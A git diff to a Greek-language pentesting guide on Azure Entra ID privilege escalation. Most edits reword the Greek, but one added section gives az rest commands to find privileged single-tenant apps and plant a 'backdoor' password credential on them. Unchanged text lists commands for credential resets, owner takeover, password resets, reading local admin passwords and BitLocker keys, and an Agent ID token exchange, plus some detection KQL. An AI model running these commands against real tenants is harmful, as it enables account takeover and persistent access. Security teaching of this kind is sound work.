diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index 12abbcafd..139365c77 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> Σημειώστε ότι **όχι όλα τα granular permissions** που έχουν τα built-in roles στο Entra ID **είναι eligible να χρησιμοποιηθούν σε custom roles.**
+> Σημειώστε ότι **όχι όλα τα granular permissions** που έχουν οι built-in roles στο Entra ID **είναι eligeble να χρησιμοποιηθούν σε custom roles.**
## Roles
### Role: Privileged Role Administrator
-Αυτό το role περιέχει τα απαραίτητα granular permissions για να μπορεί να εκχωρεί roles σε principals και να δίνει περισσότερα permissions σε roles. Και οι δύο ενέργειες θα μπορούσαν να abused για privilege escalation.
+Αυτός ο ρόλος περιέχει τα απαραίτητα granular permissions για να μπορεί να κάνει assign roles σε principals και να δίνει περισσότερα permissions σε roles. Και οι δύο ενέργειες θα μπορούσαν να abused για να escalate privileges.
- Assign role to a user:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
-- Προσθήκη περισσότερων permissions σε ένα role:
+- Προσθήκη περισσότερων permissions σε έναν role:
```bash
# List only custom roles
az rest --method GET \
@@ -48,26 +48,57 @@ az rest --method PATCH \
]
}'
```
-## Applications
+## Εφαρμογές
### `microsoft.directory/applications/credentials/update`
-Αυτό επιτρέπει σε έναν attacker να **προσθέσει credentials** (passwords ή certificates) σε υπάρχουσες applications. Αν η application έχει privileged permissions, ο attacker μπορεί να authenticate ως αυτή η application και να αποκτήσει αυτά τα privileges.
+Αυτό επιτρέπει σε έναν attacker να **προσθέσει credentials** (passwords ή certificates) σε υπάρχουσες applications. Αν η application έχει privileged permissions, ο attacker μπορεί να authenticate ως εκείνη την application και να αποκτήσει αυτά τα privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id --create-cert
```
+### `microsoft.directory/applications.myOrganization/allProperties/update`
+
+Αυτή η permission δίνει δυνατότητα update σε **κάθε writable property** οποιουδήποτε **single-tenant** application registration (`signInAudience = AzureADMyOrg`), συμπεριλαμβανομένων των `passwordCredentials` και `keyCredentials`. Επισημαίνεται ως `IsPrivileged: true` στο catalog, αλλά **δεν** υπάρχει σε κανένα built-in role — εμφανίζεται σχεδόν αποκλειστικά σε **custom roles** που δημιουργεί ένας admin για να αναθέσει "manage our internal apps" χωρίς να συνειδητοποιεί ότι το subtype `.myOrganization` στην πραγματικότητα περιορίζει την action ακριβώς στο σύνολο των apps που είναι πιο πιθανό να έχουν privileged Microsoft Graph permissions.
+
+- Enumerate apps with privileged Microsoft Graph permissions consented:
+```bash
+# SPs with at least one Microsoft Graph app role assigned
+GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \
+--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \
+-o table
+
+# Resolve a RoleId to the human-readable permission name
+az ad sp show --id 00000003-0000-0000-c000-000000000000 \
+--query "appRoles[?id==''].value" -o tsv
+```
+- Επιβεβαιώστε ότι ο στόχος είναι single-tenant (εντός του `.myOrganization` subtype scope):
+```bash
+az rest --method GET \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \
+--query "{audience:signInAudience, name:displayName}"
+# audience must be "AzureADMyOrg"
+```
+- Εισάγετε ένα credential στην target app — το μόνο privileged βήμα στην αλυσίδα:
+```bash
+az rest --method POST \
+--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \
+--headers "Content-Type=application/json" \
+--body '{"passwordCredential":{"displayName":"backdoor"}}'
+```
### `microsoft.directory/applications.myOrganization/credentials/update`
-Αυτό επιτρέπει τις ίδιες ενέργειες με το `applications/credentials/update`, αλλά scoped σε single-directory applications.
+Αυτό επιτρέπει τις ίδιες ενέργειες με το `applications/credentials/update`, αλλά με scope σε εφαρμογές ενός μόνο directory.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-Προσθέτοντας τον εαυτό τους ως owner, ένας attacker μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions.
+Με την προσθήκη του εαυτού τους ως owner, ένας attacker μπορεί να χειριστεί το application, συμπεριλαμβανομένων των credentials και των permissions.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,9 +108,9 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε applications που χρησιμοποιούνται από χρήστες του tenant και μετά να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URL, προκειμένου να κλέψει τα tokens τους. Σημείωσε ότι αν ο χρήστης ήταν ήδη logged in στο application, το authentication θα γίνει αυτόματα χωρίς ο χρήστης να χρειαστεί να αποδεχτεί τίποτα.
+Ένας attacker μπορεί να προσθέσει ένα redirect URI σε applications που χρησιμοποιούνται από users του tenant και στη συνέχεια να τους μοιραστεί login URLs που χρησιμοποιούν το νέο redirect URL, ώστε να κλέψει τα tokens τους. Σημείωσε ότι αν ο user ήταν ήδη logged in στο application, το authentication θα γίνει αυτόματα χωρίς ο user να χρειάζεται να αποδεχτεί οτιδήποτε.
-Σημείωσε επίσης ότι είναι δυνατό να αλλάξεις τα permissions που ζητά το application ώστε να αποκτήσεις περισσότερα permissions, αλλά σε αυτήν την περίπτωση ο χρήστης θα χρειαστεί να αποδεχτεί ξανά το prompt που ζητά όλα τα permissions.
+Σημείωσε επίσης ότι είναι δυνατό να αλλάξεις τα permissions που ζητά το application ώστε να αποκτήσεις περισσότερα permissions, αλλά σε αυτή την περίπτωση ο user θα χρειαστεί να αποδεχτεί ξανά το prompt που ζητά όλα τα permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
@@ -88,13 +119,13 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac
```
### Applications Privilege Escalation
-**Όπως εξηγείται σε [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** ήταν πολύ συνηθισμένο να βρίσκονται default applications που έχουν **API permissions** τύπου **`Application`** αποδοθεί σε αυτές. Ένα API Permission (όπως ονομάζεται στο Entra ID console) τύπου **`Application`** σημαίνει ότι η application μπορεί να access το API και να εκτελεί actions χωρίς user context (χωρίς ένα user login στην app), και χωρίς να χρειάζεται Entra ID roles για να το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να βρίσκονται **high privileged applications in every Entra ID tenant**.
+**Όπως εξηγείται σε [αυτό το post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, ήταν πολύ συνηθισμένο να βρίσκονται default applications που έχουν **API permissions** τύπου **`Application`** assigned σε αυτά. Ένα API Permission (όπως αποκαλείται στο Entra ID console) τύπου **`Application`** σημαίνει ότι το application μπορεί να access το API και να εκτελεί actions χωρίς user context (χωρίς user login στο app), και χωρίς να χρειάζεται Entra ID roles για να το επιτρέψουν. Άρα, είναι πολύ συνηθισμένο να βρίσκονται **high privileged applications σε κάθε Entra ID tenant**.
-Έπειτα, αν ένας attacker έχει οποιοδήποτε permission/role που επιτρέπει να **update the credentials (secret o certificate) of the application**, ο attacker μπορεί να δημιουργήσει ένα νέο credential και στη συνέχεια να το χρησιμοποιήσει για να **authenticate as the application**, αποκτώντας όλα τα permissions που έχει η application.
+Έπειτα, αν ένας attacker έχει οποιοδήποτε permission/role που επιτρέπει να **update the credentials (secret o certificate) of the application**, ο attacker μπορεί να δημιουργήσει ένα νέο credential και μετά να το χρησιμοποιήσει για να **authenticate as the application**, αποκτώντας όλα τα permissions που έχει το application.
-Σημειώστε ότι το αναφερόμενο blog μοιράζεται κάποια **API permissions** κοινών Microsoft default applications, όμως κάποιο διάστημα μετά από αυτή την αναφορά η Microsoft διόρθωσε αυτό το issue και πλέον δεν είναι δυνατό να login as Microsoft applications. Ωστόσο, εξακολουθεί να είναι δυνατό να βρεθούν **custom applications with high privileges that could be abused**.
+Σημειώστε ότι το αναφερόμενο blog μοιράζεται κάποια **API permissions** κοινών Microsoft default applications, όμως κάποιο διάστημα μετά από αυτό το report η Microsoft διόρθωσε αυτό το issue και πλέον δεν είναι δυνατό να γίνει login as Microsoft applications. Ωστόσο, εξακολουθεί να είναι δυνατό να βρεθούν **custom applications with high privileges that could be abused**.
-How to enumerate the API permissions of an application:
+Πώς να enumerate τα API permissions ενός application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -246,27 +277,27 @@ done < <(jq -c '.[]' <<<"$apps_json")
az ad sp credential reset --id --append
```
> [!CAUTION]
-> Ο νέος generated password δεν θα εμφανιστεί στο web console, οπότε αυτό θα μπορούσε να είναι ένας stealth τρόπος για να διατηρήσεις persistence πάνω σε ένα service principal.\
+> Ο νέος παραγόμενος κωδικός πρόσβασης δεν θα εμφανιστεί στο web console, οπότε αυτό θα μπορούσε να είναι ένας stealth τρόπος για να διατηρήσεις persistence over a service principal.\
> Από το API μπορούν να βρεθούν με: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-Αν πάρεις το error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` είναι επειδή **δεν είναι δυνατό να τροποποιήσεις το property passwordCredentials** του SP και πρώτα πρέπει να το unlock. Για αυτό χρειάζεσαι permission (`microsoft.directory/applications/allProperties/update`) που σου επιτρέπει να εκτελέσεις:
+Αν πάρεις το σφάλμα `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` είναι επειδή **δεν είναι δυνατό να τροποποιήσεις το property passwordCredentials** του SP και πρώτα πρέπει να το unlock. Για αυτό χρειάζεσαι ένα permission (`microsoft.directory/applications/allProperties/update`) που σου επιτρέπει να εκτελέσεις:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)
-Οι **Agent identity blueprints** είναι application objects και κάθε blueprint δημιουργεί επίσης ένα **agent identity blueprint principal** στο tenant. Τα **Agent identities** είναι service-principal-derived children αυτού του blueprint path. Επομένως, αν ένας attacker μπορεί να **προσθέσει ένα password/certificate στο blueprint** ή έχει ήδη κλέψει ένα από τα credentials του, μπορεί αργότερα να αυθεντικοποιηθεί ως το **blueprint principal** και να ζητήσει tokens για child agent identities.
+Οι **Agent identity blueprints** είναι application objects και κάθε blueprint δημιουργεί επίσης ένα **agent identity blueprint principal** στο tenant. Οι **Agent identities** είναι service-principal-derived children of that blueprint path. Επομένως, αν ένας attacker μπορεί να **προσθέσει ένα password/certificate στο blueprint** ή έχει ήδη κλέψει ένα από τα credentials του, μπορεί αργότερα να authenticate ως ο **blueprint principal** και να ζητήσει tokens για child agent identities.
-Αυτό μετατρέπει ένα κακό Entra Agent ID role assignment σε:
+Αυτό μετατρέπει ένα κακό Entra Agent ID role assignment σε και τα δύο:
- **Persistence**: το νέο `passwordCredential` παραμένει στο blueprint μέχρι να αφαιρεθεί
-- **Privilege escalation**: ένα low-trust/dev agent μπορεί να περάσει σε ένα διαφορετικό high-trust blueprint και μετά να ενεργήσει ως child agents του
+- **Privilege escalation**: ένας low-trust/dev agent μπορεί να περάσει σε ένα διαφορετικό high-trust blueprint και μετά να δράσει ως τα child agents του
-Τυπικά επικίνδυνα paths είναι:
+Τυπικά dangerous paths είναι:
- Ένα compromised agent identity με **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Ένας compromised owner/sponsor/admin που μπορεί να διαχειριστεί το blueprint
-- Theft of an existing blueprint secret/certificate
+- Κλοπή ενός υπάρχοντος blueprint secret/certificate
Πρόσθεσε ένα νέο secret στο target blueprint:
```bash
@@ -280,7 +311,7 @@ az rest --method POST \
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params
```
-Αν το νέο credential γίνει αποδεκτό, authenticate ως ο **blueprint principal** και abuse το Agent ID token exchange. Το πρώτο request χρησιμοποιεί το blueprint credential και ορίζει **`fmi_path`** στο target agent identity. Το returned token στη συνέχεια επαναχρησιμοποιείται ως **JWT bearer `client_assertion`** για να αποκτηθεί ένα Microsoft Graph token για εκείνο το agent identity.
+Αν το νέο credential γίνει αποδεκτό, authenticate ως το **blueprint principal** και abuse το Agent ID token exchange. Το πρώτο request χρησιμοποιεί το blueprint credential και ορίζει **`fmi_path`** στην identity του target agent. Το token που επιστρέφεται στη συνέχεια επαναχρησιμοποιείται ως **JWT bearer `client_assertion`** για να ληφθεί ένα Microsoft Graph token για εκείνη την agent identity.
```bash
curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
@@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
-> Αν ένα **dev** blueprint ή το child agent του μπορεί να προσθέσει credentials σε ένα **prod** blueprint, ο attacker ξεπερνά το αναμενόμενο blueprint/agent trust boundary και αποκτά durable access στην target agent infrastructure.
+> Αν ένα **dev** blueprint ή το child agent του μπορεί να προσθέσει credentials σε ένα **prod** blueprint, ο attacker διασχίζει το αναμενόμενο blueprint/agent trust boundary και αποκτά durable access στην target agent infrastructure.
Quick validation / scoping:
```powershell
@@ -315,10 +346,10 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '' }
```
Hunting notes:
-- Αναζητήστε **`Update application – Certificates and secrets management`** στο [Az - Monitoring](../../az-services/az-monitoring.md)
-- Συσχετίστε τα **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, και **`AADServicePrincipalSignInLogs`** χρησιμοποιώντας time, service principal ID, user-agent, IP, και `SignInActivityId` / `UniqueTokenIdentifier`
-- Στα `MicrosoftGraphActivityLogs`, ελέγξτε αν το `RequestUri` καταλήγει σε **`/applications//microsoft.graph.addPassword`** και αν το `Roles` περιέχει **`AgentIdentityBlueprint.AddRemoveCreds.All`**
-- Στα `AADServicePrincipalSignInLogs`, ελέγξτε τα `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, και αν το νέο key χρησιμοποιήθηκε αργότερα
+- Αναζήτησε **`Update application – Certificates and secrets management`** στο [Az - Monitoring](../../az-services/az-monitoring.md)
+- Συσχέτισε τα **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, και **`AADServicePrincipalSignInLogs`** χρησιμοποιώντας χρόνο, service principal ID, user-agent, IP, και `SignInActivityId` / `UniqueTokenIdentifier`
+- Στο `MicrosoftGraphActivityLogs`, έλεγξε αν το `RequestUri` καταλήγει σε **`/applications//microsoft.graph.addPassword`** και αν το `Roles` περιέχει **`AgentIdentityBlueprint.AddRemoveCreds.All`**
+- Στο `AADServicePrincipalSignInLogs`, εξέτασε τα `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, και αν το νέο key χρησιμοποιήθηκε αργότερα
Minimal KQL to see whether the newly added secret authenticated:
```kusto
@@ -326,7 +357,7 @@ AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == ""
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
-Αυτό σχετίζεται με το generic [application credential abuse](../../az-services/az-azuread.md#applications) και το [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), αλλά το Entra Agent ID προσθέτει ένα δεύτερο στάδιο όπου το blueprint credential μπορεί να ανταλλαχθεί σε ένα **different agent identity token**.
+Αυτό σχετίζεται με generic [application credential abuse](../../az-services/az-azuread.md#applications) και [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), αλλά το Entra Agent ID προσθέτει ένα δεύτερο στάδιο όπου το blueprint credential μπορεί να ανταλλαγεί σε ένα **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
@@ -336,7 +367,7 @@ az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-Όπως και με τα applications, αυτό το permission επιτρέπει την προσθήκη περισσότερων owners σε ένα service principal. Η κατοχή ενός service principal επιτρέπει τον έλεγχο των credentials και των permissions του.
+Όπως και με τα applications, αυτό το permission επιτρέπει να προστεθούν περισσότεροι owners σε ένα service principal. Η ownership ενός service principal επιτρέπει έλεγχο πάνω στα credentials και στα permissions του.
```bash
# Add new owner
spId=""
@@ -354,13 +385,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> Αφού πρόσθεσα έναν νέο owner, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηριζόταν, παρόλο που είναι η μέθοδος που χρειάζεται να χρησιμοποιήσεις για να διαγράψεις τον owner. Άρα **δεν μπορείς να αφαιρέσεις owners nowadays**.
+> Αφού πρόσθεσα έναν νέο owner, προσπάθησα να τον αφαιρέσω, αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηριζόταν, παρόλο που είναι η μέθοδος που χρειάζεται να χρησιμοποιήσεις για να διαγράψεις τον owner. Άρα **δεν μπορείς να αφαιρέσεις owners πλέον**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
Αυτά τα permissions επιτρέπουν να απενεργοποιείς και να ενεργοποιείς service principals. Ένας attacker θα μπορούσε να χρησιμοποιήσει αυτό το permission για να ενεργοποιήσει ένα service principal στο οποίο θα μπορούσε να αποκτήσει πρόσβαση με κάποιον τρόπο, ώστε να κάνει privilege escalation.
-Σημείωσε ότι για αυτήν την technique ο attacker θα χρειαστεί περισσότερα permissions για να πάρει τον έλεγχο του ενεργοποιημένου service principal.
+Σημείωσε ότι για αυτή την technique ο attacker θα χρειαστεί περισσότερα permissions για να πάρει τον έλεγχο του enabled service principal.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-Αυτά τα permissions επιτρέπουν τη δημιουργία και την ανάκτηση credentials για single sign-on, κάτι που θα μπορούσε να επιτρέψει πρόσβαση σε third-party applications.
+Αυτά τα permissions επιτρέπουν τη δημιουργία και ανάκτηση credentials για single sign-on, κάτι που θα μπορούσε να επιτρέψει πρόσβαση σε third-party applications.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -396,30 +427,30 @@ az rest --method POST \
### `microsoft.directory/groups/allProperties/update`
-Αυτή η permission επιτρέπει την προσθήκη χρηστών σε privileged groups, οδηγώντας σε privilege escalation.
+Αυτό το permission επιτρέπει την προσθήκη χρηστών σε privileged groups, οδηγώντας σε privilege escalation.
```bash
az ad group member add --group --member-id
```
-**Σημείωση**: Αυτή η άδεια εξαιρεί τα Entra ID role-assignable groups.
+**Σημείωση**: Αυτό το permission αποκλείει τα Entra ID role-assignable groups.
### `microsoft.directory/groups/owners/update`
-Αυτή η άδεια επιτρέπει να γίνεις owner ομάδων. Ένας owner μιας ομάδας μπορεί να ελέγχει τη membership και τις ρυθμίσεις της ομάδας, ενδεχομένως escalating privileges προς την ομάδα.
+Αυτό το permission επιτρέπει να γίνεις owner σε groups. Ένας owner ενός group μπορεί να ελέγχει τη συμμετοχή και τις ρυθμίσεις του group, και ενδεχομένως να escalate privileges στο group.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**Σημείωση**: Αυτό το permission εξαιρεί τα Entra ID role-assignable groups.
+**Σημείωση**: Αυτό το permission αποκλείει τα Entra ID role-assignable groups.
### `microsoft.directory/groups/members/update`
-Αυτό το permission επιτρέπει την προσθήκη μελών σε ένα group. Ένας attacker θα μπορούσε να προσθέσει τον εαυτό του ή malicious accounts σε privileged groups, κάτι που μπορεί να δώσει elevated access.
+Αυτό το permission επιτρέπει την προσθήκη μελών σε ένα group. Ένας attacker θα μπορούσε να προσθέσει τον εαυτό του ή malicious accounts σε privileged groups και να αποκτήσει elevated access.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-Αυτό το permission επιτρέπει την ενημέρωση του membership rule σε ένα dynamic group. Ένας attacker θα μπορούσε να τροποποιήσει τα dynamic rules ώστε να συμπεριλάβει τον εαυτό του σε privileged groups χωρίς explicit addition.
+Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα membership σε ένα dynamic group. Ένας attacker θα μπορούσε να τροποποιήσει dynamic rules ώστε να συμπεριλάβει τον εαυτό του σε privileged groups χωρίς explicit προσθήκη.
```bash
groupId=""
az rest --method PATCH \
@@ -434,7 +465,7 @@ az rest --method PATCH \
### Dynamic Groups Privesc
-Μπορεί να είναι δυνατό για χρήστες να κάνουν escalate privileges τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη σε dynamic groups. Για περισσότερες πληροφορίες δείτε:
+Είναι πιθανό οι χρήστες να μπορούν να κάνουν privilege escalation τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη σε dynamic groups. Για περισσότερες πληροφορίες δείτε:
{{#ref}}
dynamic-groups.md
@@ -444,7 +475,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-Αυτό το permission επιτρέπει το reset password σε non-admin users, επιτρέποντας σε έναν πιθανό attacker να κάνει escalate privileges σε άλλους users. Αυτό το permission δεν μπορεί να ανατεθεί σε custom roles.
+Αυτό το permission επιτρέπει το reset password σε non-admin users, επιτρέποντας σε έναν πιθανό attacker να κάνει privilege escalation σε άλλους χρήστες. Αυτό το permission δεν μπορεί να ανατεθεί σε custom roles.
```bash
# Update user password
userId=""
@@ -464,7 +495,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
-Αυτό το privilege επιτρέπει την τροποποίηση των ιδιοτήτων του user. Είναι συνηθισμένο να βρίσκονται dynamic groups που προσθέτουν users με βάση τιμές ιδιοτήτων, επομένως, αυτό το permission θα μπορούσε να επιτρέψει σε έναν user να ορίσει τη required τιμή της ιδιότητας ώστε να γίνει μέλος ενός συγκεκριμένου dynamic group και να escalate privileges.
+Αυτό το privilege επιτρέπει την τροποποίηση των properties του user. Είναι συνηθισμένο να βρίσκονται dynamic groups που προσθέτουν users με βάση τις τιμές των properties, επομένως αυτό το permission θα μπορούσε να επιτρέψει σε έναν user να ορίσει την απαιτούμενη τιμή property ώστε να γίνει member ενός συγκεκριμένου dynamic group και να κάνει escalate privileges.
```bash
#e.g. change manager of a user
victimUser=""
@@ -480,19 +511,19 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## Conditional Access Policies & MFA bypass
+## Πολιτικές Conditional Access & παράκαμψη MFA
-Λανθασμένα ρυθμισμένες conditional access policies που απαιτούν MFA θα μπορούσαν να παρακαμφθούν, έλεγξε:
+Λανθασμένα ρυθμισμένες πολιτικές conditional access που απαιτούν MFA μπορούν να παρακαμφθούν, έλεγξε:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}
-## Devices
+## Συσκευές
### `microsoft.directory/devices/registeredOwners/update`
-Αυτό το permission επιτρέπει σε attackers να ορίζουν οι ίδιοι τον εαυτό τους ως owners των devices για να αποκτήσουν control ή access σε device-specific settings και data.
+Αυτό το permission επιτρέπει στους attackers να ορίζουν τους εαυτούς τους ως owners των devices για να αποκτήσουν control ή access σε device-specific ρυθμίσεις και data.
```bash
deviceId=""
userId=""
@@ -503,7 +534,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-Αυτό το permission επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με devices για να αποκτήσουν access ή να παρακάμψουν security policies.
+Αυτό το permission επιτρέπει σε attackers να συσχετίσουν το account τους με devices για να αποκτήσουν access ή να παρακάμψουν security policies.
```bash
deviceId=""
userId=""
@@ -514,7 +545,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-Αυτή η άδεια επιτρέπει σε attackers να διαβάζουν τις ιδιότητες των backup τοπικών credentials λογαριασμού administrator για Microsoft Entra joined devices, συμπεριλαμβανομένου του password
+Αυτή η άδεια επιτρέπει σε επιτιθέμενους να διαβάζουν τις ιδιότητες των αντιγράφων ασφαλείας των διαπιστευτηρίων του τοπικού λογαριασμού διαχειριστή για Microsoft Entra joined devices, συμπεριλαμβανομένου του κωδικού πρόσβασης
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -540,7 +571,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## Άλλες Ενδιαφέρουσες permissions (TODO)
+## Άλλες ενδιαφέρουσες permissions (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`